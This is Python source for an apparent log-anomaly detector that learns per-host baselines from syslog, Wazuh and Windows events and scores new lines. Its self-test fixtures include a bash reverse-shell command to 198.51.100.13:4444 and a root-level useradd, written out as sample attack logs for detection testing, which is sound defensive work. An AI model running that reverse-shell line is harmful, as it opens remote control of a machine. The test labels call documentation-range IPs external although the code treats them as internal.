baseline_engine.py

"""Behavioral baseline engine for TinySOC.

The honest detector. Learns a per-host profile from a stream of *normal* logs,
then scores each new line on independent axes (user / process / host / time / ip).
Fully deterministic and auditable: every score ships with a plain-English reason.

This is the layer that actually catches anomalies. Perplexity only *highlights*;
the baseline *decides*. See ppl_probe.py for why raw perplexity alone is theater.
"""
from __future__ import annotations

import json
import re
from collections import Counter
from datetime import datetime
from typing import Any, Iterable

# ── Syslog parsing ────────────────────────────────────────────────────────────

# "Jun  9 08:14:01 host program[pid]: message"
_SYSLOG = re.compile(
    r"^(?P<mon>[A-Z][a-z]{2})\s+(?P<day>\d{1,2})\s+(?P<h>\d{2}):(?P<m>\d{2}):(?P<s>\d{2})\s+"
    r"(?P<host>\S+)\s+(?P<prog>[\w./-]+)(?:\[(?P<pid>\d+)\])?:\s*(?P<msg>.*)$"
)
_IPV4 = re.compile(r"\b(?:\d{1,3}\.){3}\d{1,3}\b")
_USER = re.compile(
    r"(?:for(?: invalid user)?|user=|USER=|user\s)\s*([a-z_][a-z0-9_-]*)", re.IGNORECASE
)

# Documentation / private ranges treated as internal.
_INTERNAL_PREFIXES = ("10.", "192.168.", "127.", "198.51.100.", "203.0.113.", "192.0.2.")
_INTERNAL_172 = re.compile(r"^172\.(1[6-9]|2\d|3[01])\.")


def _is_external(ip: str) -> bool:
    if ip.startswith(_INTERNAL_PREFIXES) or _INTERNAL_172.match(ip):
        return False
    return True


def parse_syslog_line(line: str) -> dict[str, Any] | None:
    """Extract normalized fields from one raw syslog/auth.log line, or None."""
    match = _SYSLOG.match(line.strip())
    if not match:
        return None
    msg = match.group("msg")
    ips = _IPV4.findall(msg)
    user = _USER.search(msg)
    return {
        "hour": int(match.group("h")),
        "host": match.group("host"),
        "process": match.group("prog"),
        "user": user.group(1).lower() if user else None,
        "src_ip": ips[0] if ips else None,
        "msg": msg,
        "raw": line.strip(),
    }


# ── Wazuh JSON parsing ────────────────────────────────────────────────────────

_HMS = re.compile(r"(?:T|\s)(\d{2}):\d{2}:\d{2}")


def _hour_from_ts(ts: str | None) -> int | None:
    """Pull the hour (0-23) out of an ISO or syslog timestamp, else None."""
    if not ts:
        return None
    match = _HMS.search(ts)
    return int(match.group(1)) if match else None


def parse_wazuh_event(obj: dict[str, Any]) -> dict[str, Any]:
    """Normalize a single Wazuh alert (JSON) into the baseline field shape.

    Handles both Linux (predecoder/decoder + data.srcip/srcuser) and Windows
    (data.win.system + data.win.eventdata) alert shapes.
    """
    rule = obj.get("rule", {}) or {}
    agent = obj.get("agent", {}) or {}
    data = obj.get("data", {}) or {}
    pre = obj.get("predecoder", {}) or {}
    dec = obj.get("decoder", {}) or {}
    win = data.get("win", {}) or {}
    wsys = win.get("system", {}) or {}
    weds = win.get("eventdata", {}) or {}

    if wsys:  # Windows Event Log alert
        host = wsys.get("computer") or agent.get("name") or "unknown"
        event_id = wsys.get("eventID")
        process = f"win:{event_id}" if event_id else (dec.get("name") or "windows")
        user = (weds.get("targetUserName") or weds.get("subjectUserName"))
        src_ip = weds.get("ipAddress")
        ts = wsys.get("systemTime") or obj.get("timestamp")
    else:  # Linux / syslog-decoded alert
        host = agent.get("name") or pre.get("hostname") or "unknown"
        process = pre.get("program_name") or dec.get("name") or "unknown"
        user = data.get("srcuser") or data.get("dstuser")
        src_ip = data.get("srcip")
        ts = pre.get("timestamp") or obj.get("timestamp")

    full_log = obj.get("full_log", "") or rule.get("description", "")
    if user and user.strip("-") in ("", "127.0.0.1", "::1"):
        user = None
    if src_ip and src_ip.strip("-") in ("", "127.0.0.1", "::1"):
        src_ip = None
    return {
        "hour": _hour_from_ts(ts),
        "host": host,
        "process": process,
        "user": user.lower() if user else None,
        "src_ip": src_ip or None,
        "msg": full_log,
        "raw": (full_log or rule.get("description") or json.dumps(obj))[:300],
    }


# ── Windows Event Log parsing (Get-WinEvent | ConvertTo-Json, no Wazuh) ───────

_WIN_USER = re.compile(r"Account Name:\s*([^\s][^\r\n]*)")
_WIN_IP = re.compile(r"Source (?:Network )?Address:\s*((?:\d{1,3}\.){3}\d{1,3})")
_PSDATE = re.compile(r"/Date\((\d+)")


def _hour_from_wints(ts: Any) -> int | None:
    """Hour from a Get-WinEvent TimeCreated: epoch ms, '/Date(ms)/', or ISO."""
    if ts is None:
        return None
    if isinstance(ts, (int, float)):
        try:
            return datetime.fromtimestamp(ts / 1000).hour
        except (OSError, ValueError, OverflowError):
            return None
    match = _PSDATE.search(str(ts))
    if match:
        try:
            return datetime.fromtimestamp(int(match.group(1)) / 1000).hour
        except (OSError, ValueError, OverflowError):
            return None
    return _hour_from_ts(str(ts))


def parse_winevent(obj: dict[str, Any]) -> dict[str, Any]:
    """Normalize one Windows event (PowerShell Get-WinEvent JSON) for the baseline.

    Expected fields (from `Get-WinEvent | Select TimeCreated,Id,LevelDisplayName,
    MachineName,ProviderName,Message | ConvertTo-Json`). User and source IP are
    parsed out of the human-readable Message when present.
    """
    msg = obj.get("Message") or ""
    user = None
    for match in _WIN_USER.finditer(msg):
        cand = match.group(1).strip()
        if cand and cand != "-" and not cand.startswith("S-1-"):
            user = cand  # keep the last meaningful Account Name (the target)
    ip_match = _WIN_IP.search(msg)
    eid = obj.get("Id", obj.get("EventID"))
    first_line = msg.splitlines()[0].strip() if msg else ""
    desc = first_line or obj.get("ProviderName") or (f"Event {eid}" if eid is not None else "windows event")
    return {
        "hour": _hour_from_wints(obj.get("TimeCreated")),
        "host": obj.get("MachineName") or "windows",
        "process": f"win:{eid}" if eid is not None else (obj.get("ProviderName") or "windows"),
        "user": user.lower() if user else None,
        "src_ip": ip_match.group(1) if ip_match else None,
        "msg": desc,
        "raw": (desc or json.dumps(obj))[:300],
    }


def _is_winevent(obj: dict[str, Any]) -> bool:
    keys = obj.keys()
    return (("Id" in keys or "EventID" in keys)
            and bool({"MachineName", "ProviderName", "TimeCreated"} & keys))


def iter_events(raw: str) -> list[str]:
    """Normalize an upload into a list of single-event strings.

    Handles a pretty-printed JSON array (Get-WinEvent | ConvertTo-Json), a single
    JSON object, NDJSON (one alert per line), and raw syslog text.
    """
    raw = raw.strip()
    if not raw:
        return []
    if raw[0] in "[{":
        try:
            data = json.loads(raw)
        except json.JSONDecodeError:
            data = None
        if isinstance(data, list):
            return [json.dumps(e) for e in data if isinstance(e, dict)]
        if isinstance(data, dict):
            return [json.dumps(data)]
    return [ln for ln in raw.splitlines() if ln.strip()]


def parse_event(line: str) -> dict[str, Any] | None:
    """Dispatch one event: Wazuh JSON, Windows Event Log JSON, or raw syslog."""
    text = line.strip()
    if not text:
        return None
    if text[0] in "{[":
        try:
            obj = json.loads(text)
        except json.JSONDecodeError:
            return parse_syslog_line(text)
        if isinstance(obj, dict):
            if {"rule", "full_log", "agent"} & obj.keys():
                return parse_wazuh_event(obj)
            if _is_winevent(obj):
                return parse_winevent(obj)
        return parse_syslog_line(text)
    return parse_syslog_line(text)


# ── Learning ──────────────────────────────────────────────────────────────────


def learn_baseline(lines: Iterable[str]) -> dict[str, Any]:
    """Build an immutable host profile from a stream of normal log lines."""
    hosts: set[str] = set()
    users: set[str] = set()
    processes: set[str] = set()
    src_ips: set[str] = set()
    hours: Counter[int] = Counter()
    user_process: set[tuple[str, str]] = set()
    parsed = 0
    for line in lines:
        fields = parse_event(line)
        if not fields:
            continue
        parsed += 1
        hosts.add(fields["host"])
        processes.add(fields["process"])
        hours[fields["hour"]] += 1
        if fields["user"]:
            users.add(fields["user"])
            user_process.add((fields["user"], fields["process"]))
        if fields["src_ip"]:
            src_ips.add(fields["src_ip"])
    return {
        "hosts": frozenset(hosts),
        "users": frozenset(users),
        "processes": frozenset(processes),
        "src_ips": frozenset(src_ips),
        "hours": dict(hours),
        "user_process": frozenset(user_process),
        "lines_learned": parsed,
    }


# ── Scoring ───────────────────────────────────────────────────────────────────

# Weights tune how much each axis pushes the combined (noisy-OR) risk.
_AXES = ("time", "user", "process", "host", "ip")


def _time_score(profile: dict, fields: dict) -> tuple[float, str | None]:
    hours = profile["hours"]
    hour = fields["hour"]
    if not hours or hour is None:
        return 0.0, None
    if hour not in hours:
        seen = sorted(hours)
        return 0.9, f"activity at {hour:02d}:00, never seen (learned hours: {seen[0]:02d}-{seen[-1]:02d})"
    total = sum(hours.values())
    if hours[hour] / total < 0.02:
        return 0.5, f"activity at {hour:02d}:00 is rare for this host"
    return 0.0, None


def _user_score(profile: dict, fields: dict) -> tuple[float, str | None]:
    user = fields["user"]
    if not user:
        return 0.0, None
    if user not in profile["users"]:
        return 0.85, f"user '{user}' never seen on this host"
    if (user, fields["process"]) not in profile["user_process"]:
        return 0.6, f"user '{user}' never ran '{fields['process']}' before"
    return 0.0, None


def _process_score(profile: dict, fields: dict) -> tuple[float, str | None]:
    proc = fields["process"]
    if proc not in profile["processes"]:
        return 0.8, f"process '{proc}' never seen on this host"
    return 0.0, None


def _host_score(profile: dict, fields: dict) -> tuple[float, str | None]:
    if fields["host"] not in profile["hosts"]:
        return 0.7, f"host '{fields['host']}' not in baseline"
    return 0.0, None


def _ip_score(profile: dict, fields: dict) -> tuple[float, str | None]:
    ip = fields["src_ip"]
    if not ip or ip in profile["src_ips"]:
        return 0.0, None
    if _is_external(ip):
        return 0.9, f"connection involves external IP {ip}, never seen before"
    return 0.4, f"internal IP {ip} never seen before"


_SCORERS = {
    "time": _time_score,
    "user": _user_score,
    "process": _process_score,
    "host": _host_score,
    "ip": _ip_score,
}


def score_line(profile: dict, line: str) -> dict[str, Any]:
    """Score one log line against the baseline. Pure: never mutates profile."""
    fields = parse_event(line)
    if not fields:
        return {"parsed": False, "raw": line.strip(), "global_score": 0.0, "axes": {}, "reasons": []}

    axes: dict[str, float] = {}
    reasons: list[str] = []
    for name in _AXES:
        score, reason = _SCORERS[name](profile, fields)
        axes[name] = round(score, 2)
        if reason and score >= 0.5:
            reasons.append(reason)

    # Noisy-OR: many medium signals combine into a high global score.
    survive = 1.0
    for score in axes.values():
        survive *= (1.0 - score)
    global_score = round(1.0 - survive, 3)

    return {
        "parsed": True,
        "raw": fields["raw"],
        "fields": fields,
        "axes": axes,
        "reasons": reasons,
        "global_score": global_score,
    }


# ── Self-test / de-risk demo ──────────────────────────────────────────────────

if __name__ == "__main__":
    import json

    normal_stream = [
        "Jun  9 08:14:01 srv-web-01 sshd[2211]: Accepted publickey for deploy from 10.0.0.12 port 51020 ssh2",
        "Jun  9 08:15:33 srv-web-01 sudo: deploy : TTY=pts/0 ; PWD=/var/www ; USER=root ; COMMAND=/usr/bin/systemctl restart nginx",
        "Jun  9 08:20:11 srv-web-01 CRON[3120]: (deploy) CMD (/usr/local/bin/backup.sh)",
        "Jun  9 09:02:45 srv-web-01 sshd[2240]: Accepted publickey for deploy from 10.0.0.12 port 51044 ssh2",
        "Jun  9 17:48:09 srv-web-01 sshd[2301]: Accepted publickey for deploy from 10.0.0.12 port 51120 ssh2",
    ]
    profile = learn_baseline(normal_stream)
    print(f"Learned from {profile['lines_learned']} lines.\n")

    tests = {
        "NORMAL (ssh accepted, known user/ip/hour)":
            "Jun  9 09:31:02 srv-web-01 sshd[2240]: Accepted publickey for deploy from 10.0.0.12 port 51044 ssh2",
        "ATTACK (reverse shell, 03h, external IP, new process)":
            "Jun  9 03:14:55 srv-web-01 bash[9913]: bash -i >& /dev/tcp/198.51.100.13/4444 0>&1",
        "ATTACK (new user added at night)":
            "Jun  9 02:51:40 srv-web-01 useradd[7782]: new user: name=backup2, UID=0, GID=0",
        "ATTACK (ssh from external IP)":
            "Jun  9 04:07:12 srv-web-01 sshd[8120]: Failed password for root from 203.0.113.66 port 40410 ssh2",
    }
    for label, line in tests.items():
        r = score_line(profile, line)
        print(f"### {label}")
        print(f"    global_score = {r['global_score']}   axes = {json.dumps(r['axes'])}")
        for reason in r["reasons"]:
            print(f"      - {reason}")
        print()